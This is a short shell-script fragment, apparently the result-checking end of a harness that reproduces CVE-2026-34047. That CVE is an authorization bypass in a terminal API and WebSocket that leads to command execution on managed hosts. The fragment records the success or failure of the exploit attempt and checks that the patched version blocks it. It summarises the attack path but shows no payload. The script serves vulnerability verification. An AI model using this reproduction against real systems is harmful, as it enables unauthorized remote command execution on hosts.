if [ "$VULN_IPS_STATUS" = "200" ] && [ "$VULN_AUTH_STATUS" = "200" ] && [ "$VULN_EXEC" = "true" ] && [ "$FIXED_BLOCKED" = "true" ]; then
  write_manifest "confirmed" "Confirmed API/WebSocket terminal authorization bypass to managed-host command execution. Vulnerable Member session received terminal host IPs, opened /terminal/ws, terminal-server.js spawned ssh via node-pty, and managed host executed the attacker-supplied shell payload and returned REPRO_WS_COMMAND_EXECUTED. Fixed middleware returns 403 and WebSocket fails closed before managed-host execution."
  log "SUCCESS: CVE-2026-34047 reproduced with WebSocket command execution and fixed negative control"
  exit 0
else
  write_manifest "unknown" "Attempt incomplete: vulnerable_exec=$VULN_EXEC fixed_blocked=$FIXED_BLOCKED vuln_status=$VULN_IPS_STATUS/$VULN_AUTH_STATUS fixed_status=$FIXED_IPS_STATUS/$FIXED_AUTH_STATUS"
  log "FAIL: Expected vulnerable execution and fixed blocking pattern was not fully observed"
  exit 1
fi
